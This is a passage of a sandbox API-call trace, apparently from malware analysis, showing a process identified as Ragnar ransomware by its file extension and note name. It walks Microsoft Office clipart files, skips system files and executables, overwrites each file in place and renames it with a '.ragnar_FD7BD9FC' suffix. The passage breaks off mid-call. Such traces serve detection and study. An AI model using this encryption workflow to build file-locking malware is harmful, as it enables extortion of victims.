(lpString1=".WMF", lpString2=".msi") returned 1 [0080.176] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.176] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0080.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.177] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4924) returned 1 [0080.177] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1333, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.177] GetProcessHeap () returned 0x580000 [0080.177] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.177] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.178] VirtualAlloc (lpAddress=0x0, dwSize=0x133c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.179] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.179] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.179] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x133c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x133c, lpOverlapped=0x0) returned 1 [0080.179] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.180] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x133c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.180] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x133c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x133c, lpOverlapped=0x0) returned 1 [0080.180] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x133c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.180] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.180] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x133c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.180] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.180] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.180] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.180] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.180] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.180] GetProcessHeap () returned 0x580000 [0080.180] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.180] CloseHandle (hObject=0xf4) returned 1 [0080.181] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" [0080.181] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.ragnar_FD7BD9FC" [0080.181] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.181] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0080.181] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.181] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD07831_.WMF" | out: lpString1="BD07831_.WMF") returned="BD07831_.WMF" [0080.181] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned=".WMF" [0080.181] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.181] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="autorun.inf") returned 1 [0080.181] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="boot.ini") returned -1 [0080.181] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="bootfont.bin") returned -1 [0080.181] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="bootsect.bak") returned -1 [0080.181] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="bootmgr") returned -1 [0080.181] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="bootmgr.efi") returned -1 [0080.181] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.181] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="desktop.ini") returned -1 [0080.181] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="iconcache.db") returned -1 [0080.181] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="ntldr") returned -1 [0080.182] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="ntuser.dat") returned -1 [0080.182] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.182] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="ntuser.ini") returned -1 [0080.182] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="thumbs.db") returned -1 [0080.182] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.182] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.182] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.182] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.182] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.182] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.182] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0080.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.183] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4066) returned 1 [0080.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.183] GetProcessHeap () returned 0x580000 [0080.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.183] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.185] VirtualAlloc (lpAddress=0x0, dwSize=0xfe2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.185] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.185] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.185] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfe2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xfe2, lpOverlapped=0x0) returned 1 [0080.185] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.185] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfe2, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.186] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfe2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xfe2, lpOverlapped=0x0) returned 1 [0080.186] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfe2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.186] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.186] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.186] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.186] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.186] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.186] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.186] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.186] GetProcessHeap () returned 0x580000 [0080.186] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.187] CloseHandle (hObject=0xf4) returned 1 [0080.187] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" [0080.187] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.ragnar_FD7BD9FC" [0080.187] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.187] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0080.187] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.187] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD08758_.WMF" | out: lpString1="BD08758_.WMF") returned="BD08758_.WMF" [0080.187] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned=".WMF" [0080.187] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.187] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="autorun.inf") returned 1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="boot.ini") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="bootfont.bin") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="bootsect.bak") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="bootmgr") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="bootmgr.efi") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="desktop.ini") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="iconcache.db") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="ntldr") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="ntuser.dat") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="ntuser.ini") returned -1 [0080.188] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="thumbs.db") returned -1 [0080.188] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.188] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.188] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.188] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.188] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.188] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.188] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0080.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.188] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24320) returned 1 [0080.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5ef7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.189] GetProcessHeap () returned 0x580000 [0080.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.189] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.190] VirtualAlloc (lpAddress=0x0, dwSize=0x5f00, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.191] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.191] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.191] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5f00, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5f00, lpOverlapped=0x0) returned 1 [0080.192] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.192] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5f00, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.193] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5f00, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5f00, lpOverlapped=0x0) returned 1 [0080.193] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5f00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.193] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.193] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.193] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.193] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.193] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.193] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.194] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.194] GetProcessHeap () returned 0x580000 [0080.194] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.194] CloseHandle (hObject=0xf4) returned 1 [0080.194] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" [0080.194] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.ragnar_FD7BD9FC" [0080.194] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.194] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0080.194] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.194] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD08773_.WMF" | out: lpString1="BD08773_.WMF") returned="BD08773_.WMF" [0080.194] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned=".WMF" [0080.194] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.194] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="autorun.inf") returned 1 [0080.194] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="boot.ini") returned -1 [0080.194] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="bootfont.bin") returned -1 [0080.195] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="bootsect.bak") returned -1 [0080.195] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="bootmgr") returned -1 [0080.195] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="bootmgr.efi") returned -1 [0080.195] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.195] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="desktop.ini") returned -1 [0080.195] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="iconcache.db") returned -1 [0080.195] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="ntldr") returned -1 [0080.195] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="ntuser.dat") returned -1 [0080.195] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.195] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="ntuser.ini") returned -1 [0080.195] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="thumbs.db") returned -1 [0080.195] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.195] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.195] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.195] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.195] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.195] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.195] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0080.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.195] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: 